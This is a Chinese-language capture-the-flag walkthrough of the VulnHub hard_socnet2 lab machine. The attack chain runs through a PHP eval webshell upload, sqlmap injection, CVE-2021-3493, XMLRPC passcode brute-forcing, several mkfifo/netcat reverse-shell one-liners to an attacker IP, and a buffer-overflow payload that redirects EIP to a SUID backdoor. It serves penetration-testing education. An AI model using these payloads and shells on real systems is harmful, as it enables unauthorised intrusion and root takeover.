靶机:
https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
目标:
- 取得root权限
涉及攻击方法
- 主机发现
- 端口扫描
- SQL注入
- 文件上传
- 蚁剑上线
- XMLRPC命令执行
- 逆向工程
- 动态调试
- 漏洞利用代码编写
方法
- CVE-2021-3493
- 缓冲器溢出漏洞
学习目标
- 希望通过今天学习的内容,把自己渗透攻击的视野打开,不要仅仅局限在Web层面上,Web渗透只是其中的一个方面,0day的话必须要掌握缓冲区溢出或者堆溢出这样的一些方法
排错
无法启动靶机,搜索VirtualBox靶机启动失败:end Kernel panic - not syncing: Attempted to kill the idle task
解决:在虚拟机 “设置” -> “系统” -> “处理器” 中将处理器数设置为2个或以上。
参考链接:
- VirtualBox靶机启动失败:end Kernel panic - not syncing: Attempted to kill the idle task_end kernel panic not syncing: attempted to kill th-CSDN博客
- Windows 11 下 Virtualbox 6.1.34 出现 End kernel panic - not syncing: attempted to kill the idle task_end kernel panic - not syncing: asynchronous serro-CSDN博客
靶机和Kali都桥接了还是没有IP就检查桥接的WiFi网卡的网段,和自己靶机、Kali设置的是否在同一个网段,检查了一个小时才发现>_<
靶机修改成这样,不要address了就可以了,ip a是什么就是什么,不用管ens33,偷来的图,懒得再截图了
主机发现
arp-scan -l
发现 192.168.31.131 就是靶机地址
端口扫描和服务发现
nmap -p- 192.168.31.131
全端口扫描
开了22、80、和8000端口
nmap -sV 192.168.31.131
查看服务
80端口可以正常访问
访问8000端口,发现GET方式不能访问,尝试POST、Options、PUT等方法都不行
先展示搁置,看看80端口的Web界面吧
有登陆界面也有注册页面,我们可以注册一个进去看看里面有什么功能可以利用,在真实渗透过程中建议注册虚假信息,否则可能被蓝队溯源找到就扣分了
admin账号说他运行了一个monitor.py文件,后续或许可以利用
我们随便输入的东西被放在了网站上
文件上传漏洞
在Profile
处可以在头像那里进行漏洞测试
我们尝试上传一个Webshell.php上去
<?php
eval($_POST['ant']);
?>
点击Upload Image上传,成功上传上去了,服务器并没有做任何过滤
右键图片复制图片的URL路径进行访问,浏览器成功解析
http://192.168.31.131/data/images/profiles/3.php
下载蚁剑Linux版
- AntSwordProject/AntSword-Loader: AntSword 加载器 (github.com)
- https://www.yuque.com/antswordproject/antsword/lmwppk
打开虚拟终端获得shell
SQL注入漏洞
在搜索框输入单引号或者双引号出现SQL报错,说明存在SQL注入漏洞
接下来拿出强大的Sqlmap,一把梭
先把数据包保存为一个文件 row
sqlmap -r row -p query
- -r 指定数据包
- -p 指定参数
爆库名
sqlmap -r row -p query --dbs
爆表名
sqlmap -r row -p query -D socialnetwork --tables
爆列名
sqlmap -r row -p query -D socialnetwork -T users --columns
获取用户邮箱账号和登录密码,在注入的过程中选择sqlmap
的hash
爆破功能爆破密码
登录admin账号后也没发现其他漏洞,还是文件上传漏洞,和前面没有区别
提权
方法一:CVE-2021-3493
直接在靶机上编译运行exp即可获得root的shell
- gcc exploit.c -o exp
- ./exp
信息收集:
lsb_release -a
利用蚁剑的文件上传功能将 exp.c 上传到 /tmp 目录下
通过蚁剑获取的shell不太行,所以我们再次通过nc
获得一个功能全面一点的shell,
这台靶机上的 nc 没有 -e 参数,
可以用nc串联
的方法,也可以用另外一种方法,参考博客:Vulnhub打靶记录:hard_socnet2 - C_CHL - 博客园 (cnblogs.com)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 4444 >/tmp/f
rm /tmp/f
: 这条命令尝试删除/tmp/f
文件。如果该文件存在,它将被删除。这是为了确保后续的命令正常工作。mkfifo /tmp/f
: 这条命令创建了一个名为/tmp/f
的命名管道(named pipe)。命名管道可以用作进程间通信的通道。cat /tmp/f|/bin/bash -i 2>&1
: 这条命令使用cat
命令读取来自/tmp/f
的输入,并将其作为输入提供给/bin/bash
(Bash shell)。通过-i
参数,Bash shell以交互模式启动,允许用户与其进行交互。nc 1.0.0.3 4444 >/tmp/f
: 这条命令使用nc
命令(netcat)建立到 IP 地址为1.0.0.3
、端口号为4444
的远程主机的网络连接。然后,它将所有网络连接的输入重定向到/tmp/f
文件中。从而和cat /tmp/f|/bin/bash -i 2>&1
的/tmp/f
形成一个回路,实现交互的作用。
mkfifo(make FIFO)不是一个函数,而是一个命令行工具。它用于在Linux和其他类Unix操作系统中创建FIFO(First-In, First-Out)命名管道。
FIFO是一种特殊类型的文件,用于实现进程间通信(IPC),其中数据按照写入的顺序被读取。FIFO提供了一种无关的进程通信方式,可以被多个进程同时读取和写入。
成功获取root
权限
方法二:缓冲器溢出漏洞
回到www用户,查看有什么用户
cat /etc/passwd
发现socnet
用户是有/bin/bash
的
cd 到 /home/socnet
目录下
peda
:为GDB设计的一个强大的插件add_record
:一个交互程序,根据你对问题的回答生成一个.txt
文件。monitor.py
:就是我们刚刚在后台看到的admin
用户上传的一个监控脚本。下面为官方文档链接和部分代码的审计
xmlrpc --- XMLRPC 服务端与客户端模块 — Python 3.12.4 文档
ps aux | grep monitor
发现monitor.py
确实在运行中
cat
一下 monitor.py
原来代码只接受XMLRPC
的请求方式,怪不得前面的GET方式不行
# 导入简单的XML-RPC服务器模块
import SimpleXMLRPCServer
import subprocess
import random
# 生成一个随机的调试密码
debugging_pass = random.randint(1000,9999)
# 函数:运行系统命令并返回输出
def runcmd(cmd):
# 执行系统命令,并捕获输出和错误信息
results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = results.stdout.read() + results.stderr.read()
return output
# 函数:获取CPU信息
def cpu():
return runcmd("cat /proc/cpuinfo")
# 函数:获取内存信息
def mem():
return runcmd("free -m")
# 函数:获取磁盘使用情况
def disk():
return runcmd("df -h")
# 函数:获取网络接口信息
def net():
return runcmd("ip a")
# 函数:安全执行系统命令(需要正确的调试密码)
def secure_cmd(cmd, passcode):
if passcode == debugging_pass:
return runcmd(cmd)
else:
return "Wrong passcode."
# 创建一个XML-RPC服务器,监听在所有网络接口的8000端口
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
# 注册函数到XML-RPC服务器
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)
# 开始运行XML-RPC服务器,接受和处理来自客户端的请求
server.serve_forever()
我们需要爆破出debugging_pass
,才能执行secure_cmd()
函数,因为只有这个函数的参数可控
爆破代码(URL记得加端口>_<):
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.31.131:8000") as proxy:
for p in range(1000,10000):
r = str(proxy.secure_cmd('whoami', p))
if not "Wrong" in r:
print(p)
print(r)
break
反弹Shell
import xmlrpc.client
with xmlrpc.client.ServerProxy("http://192.168.31.131:8000") as proxy:
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 5555 >/tmp/f "
r = str(proxy.secure_cmd(cmd, 5038 ))
print(r)
成功获得了socnet@socnet2:~
账号的Shell,为了更具有交互性,使用python升级一下Shell
python -c "import pty; pty.spawn('/bin/bash')"
先看一下文件,发现具有suid
和sgid
权限,所以猜测作者是要我们通过这个文件的漏洞来提权
file add_record
运行add_record
会在当前目录生成一个.txt
文件
- python peda 是一个基于python的
gdb
的调试脚本,通过这个脚本可以以一种比较友好、比较直观的方式来对应用程序进行gdb动态调试
有gdb,所以可能存在内存溢出的漏洞
可能可以发现应用中存在的内存溢出或者堆溢出漏洞,进而利用漏洞来实现本地的提权
gdb -q
参数,安静模式运行
r
让程序真正运行起来
在做内存溢出相应的测试的时候,通常业界会有一个习惯,通常测试时向每一个提交位置输入大量的字母A
去测试,监视内存的变化,如果该变量存在缓冲区溢出漏洞导致了内存溢出,覆盖到了其他的寄存器位置的话,那么就可以判断其他寄存器位置里面的数据是否都是A
,通过结果迹象来判断我们注入的数据是否成功的溢出到了其他的寄存器里面,进而通过进一步的探测去修改这些寄存器里面的具体位置的具体值,进而实现最终的代码加载执行
python3 -c "print('A'*100)"
在Explain:
处输入A
产生了溢出
在缓冲器溢出漏洞里,我们主要注意EIP
这个寄存器,因为EIP
寄存器当中保存的数据是CPU接下来要去运行的下一条指令的内存地址的编号
我们不知道是哪几个A的话,通过pattern create 100
来生成一个特征字符串(这里面每四个字符都是唯一的),然后再运行程序,输入特征字符
然后用pattern search
来找出 EIP
寄存器的位置,看到前62位之后是EIP,那么EIP就是第63位开始的
然后通过python3 -c "print('A' * 62 + 'BCDE')"
生成字符串
再次运行程序,输入字符串
说明我们的计算的正确的,并且确定该程序存在缓冲区溢出漏洞。
查看汇编代码
disas main
call
:在汇编代码中表示程序即将调用的函数push
:用于将地址压入到栈中fopen@plt
:是一个函数符号,它是一个指向函数的指针用来打开一个文件。当程序调用fopen时,它实际上调用了fopen@plt。这是因为在动态链接库中,函数的地址是在运行时解析的,而不是在编译时解析的。@plt是一个过程链接表(PLT)项,它是动态链接器用来解析函数地址的一部分,也就是说函数后面有 @plt的基本就是系统自带的库函数。
我们可以下断点调试,输入break *0x08048728
,r
继续运行,s
单步执行,每次只执行一个CPU的指令,del 1
可以删除断点,c
可以让程序继续执行
发现vuln
函数后面没有plt
,说明它不是系统内嵌的函数,而是软件开发者自己写的函数,很可疑
输入info func
查看应用都有哪些函数
- system@plt:system函数在汇编语言中的作用是来执行一些操作系统指令,有点类似于php语言里面的
exec
- setuid@plt:接受一个参数
uid
,表示要设置的用户ID,它会尝试将当前进程的有效用户ID设置为指定的值。和add_reocrd
具有suid
权限相呼应
通过这两个函数,可以大概猜测add_record这个小程序中是存在一些调用操作系统指令的功能
查看一下vuln
函数,输入disas vuln
在汇编代码中出现了 strcpy
函数。这个函数是不对输入的长度进行限定的,会导致空间的溢出,由此我们基本可以判断出缓冲区漏洞的产生原因就是该函数 vuln
中的 strcpy
函数。
接下来查看backdoor函数,输入disas backdoor
代码看起来是请求到了suid
的权限,然后去执行一下system
操作系统的指令
在主程序当中会调用到vuln
函数,而vuln
又会调用系统内嵌的那个存在漏洞的函数strcpy
,当输入一些特殊字符的时候就到导致缓冲区漏洞的出现
但是主函数里面没有调用backdoor
函数,所以我们必须利用主程序里加载的vuln
函数,通过对它进行缓冲器溢出漏洞,向EIP
寄存器里面写入backdoor
函数的起始内存加载地址,进而通过它的漏洞,让它去执行backdoor
函数,让backdoor
函数去执行suid
函数、system
函数,进而执行到system
函数里要执行的操作系统的命令
我们看看能不能注入更多的payload,进而通过它实现本地提权的目标
发现BCDE是一个从左到右的顺序,但是从内存当中的十六进制数据0x45444342
来讲的话,它的顺序是颠倒的(42就是B的ASCII编码,以此类推),专业术语来说就是CPU架构的大头和小头的概念
所以我们想把backdoor
函数的的起始内存地址写入到EIP
寄存器里面的话,就必须也按照颠倒的顺序来写入,否则的话那个地址没有办法正确的指向backdoor
函数所在的内存地址
所以我们再次查看backdoor
函数的内存地址,输入disas backdoor
为了将payload一次性输入到add_record
小程序中,编写代码,前面的1是输入姓名,工作年限,薪资这些的,struct
模块可以倒转十六进制
python2 -c "import struct; print('1\n1\n1\n1\n' + 'A' * 62 + struct.pack('I', 0x08048676))"
然后在靶机里输出生成payload
文件,先q
退出gdb
python2 -c "import struct; print('1\n1\n1\n1\n' + 'A' * 62 + struct.pack('I', 0x08048676))" > payload
然后我们再用gdb
加载add_record
小程序,运行gdb -q ./add_record
,然后r < payload
输入payload
提示产生了一个新的进程,进程ID26479,这个新的程序是/bin/dash,另外一个进程是产生了一个/bin/bash
我们可以cat
一下payload
,然后将它通过管道输出给./add_record
-
- (横线)表示它
cat
出来的所有内容
- (横线)表示它
cat payload - | ./add_record
执行命令成功获得root权限
可以再执行一次反弹shell来获取一个交互性更好的Shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.31.120 6666 >/tmp/f
总结
- 很多时候,我们在做像一下0day漏洞的挖掘,在执行缓冲器溢出漏洞发现的过程当中,都要执行大量动态的调试,去跟着大量的内存的变化,其实是非常枯燥的过程,所以在这个过程当中,我们可以使用一下比较自动化的工具。
- 漏洞产生过程:因为主程序里有一个
vuln
函数,而这个函数是有漏洞的的,而这个漏洞是来自于strcpy
这个内嵌的函数存在的一个缓冲区溢出漏洞,因为它调用了存在缓冲区溢出漏洞的函数,所以vuln
函数也就存在缓冲区溢出漏洞,而由于我们在Explain:
这个位置输入数据的时候,这个数据会导致vuln
函数的缓冲区溢出漏洞被我们触发,从而改写EIP
寄存器当中的具体地址,进而通过改写的地址将backdoor
函数在内存当中的内存地址给它写入到EIP
寄存器里,通过这种方法,通过vuln
函数的漏洞弱点加载了backdoor
函数,而backdoor
函数调用了system
这个系统命令,同时也调用了suid
,请求了suid
的权限,以这个程序属主的权限root
来运行这个程序,而system
函数最终请求CPU,执行/bin/bash
这个操作系统的shell
,从而利用这系列的漏洞,通过内存跟踪,查看分析汇编语言代码,最终找到了漏洞具体存在的位置,只要能够触发这个漏洞的执行,最终就会通过函数执行/bin/bash
,而这个/bin/bash
将是以root
权限来执行的